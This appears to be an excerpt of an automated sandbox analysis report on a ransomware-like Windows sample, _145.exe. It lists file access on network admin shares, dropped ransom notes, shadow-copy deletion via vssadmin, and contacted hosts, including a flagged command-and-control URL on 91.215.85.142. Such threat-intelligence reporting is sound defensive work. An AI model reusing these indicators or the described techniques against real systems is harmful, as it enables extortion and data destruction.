Source: C:\Users\user\Desktop\_145.exe File opened: \\192.168.2.1\admin$\ozon.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: \\192.168.2.1\admin$\ozon.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: \\192.168.2.1\c$\ozon.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: \\192.168.2.1\c$\ozon.exe Jump to behavior
Searches for user specific document files
Source: C:\Users\user\Desktop\_145.exe Directory queried: C:\Documents and Settings Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Directory queried: C:\Documents and Settings Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1337854 Sample: _145.exe Startdate: 06/11/2023 Architecture: WINDOWS Score: 100 42 api4.ipify.org 2->42 44 api.ipify.org 2->44 52 Snort IDS alert for network traffic 2->52 54 Antivirus detection for URL or domain 2->54 56 Antivirus / Scanner detection for submitted sample 2->56 58 5 other signatures 2->58 8 _145.exe 3 528 2->8         started        13 notepad.exe 2->13         started        signatures3 process4 dnsIp5 46 91.215.85.142, 49711, 49713, 49715 PINDC-ASRU Russian Federation 8->46 48 192.168.2.1, 135, 274 unknown unknown 8->48 50 3 other IPs or domains 8->50 34 C:\...\Microsoft.Lync.Model.zip, COM 8->34 dropped 36 C:\Users\user\...\HOW TO BACK FILES.txt, data 8->36 dropped 38 C:\Users\user\...\HOW TO BACK FILES.txt, data 8->38 dropped 40 37 other files (35 malicious) 8->40 dropped 60 May disable shadow drive data (uses vssadmin) 8->60 62 Creates files in the recycle bin to hide itself 8->62 64 Deletes shadow drive data (may be related to ransomware) 8->64 66 4 other signatures 8->66 15 vssadmin.exe 8->15         started        18 cmd.exe 8->18         started        20 cmd.exe 8->20         started        22 cmd.exe 8->22         started        file6 signatures7 process8 signatures9 68 Deletes shadow drive data (may be related to ransomware) 15->68 24 conhost.exe 15->24         started        26 conhost.exe 18->26         started        28 sc.exe 18->28         started        30 conhost.exe 20->30         started        32 conhost.exe 22->32         started        process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
173.231.16.77
 api4.ipify.org United States
18450 WEBNXUS false
91.215.85.142
 unknown Russian Federation
34665 PINDC-ASRU true

Private

IP
192.168.2.2
192.168.2.1
192.168.2.3

Contacted Domains

Name IP Active
api4.ipify.org 173.231.16.77 true
api.ipify.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://91.215.85.142/QWEwqdsvsf/ap.php true
  • Avira URL Cloud: malware
 unknown
http://api.ipify.org/ false
    		high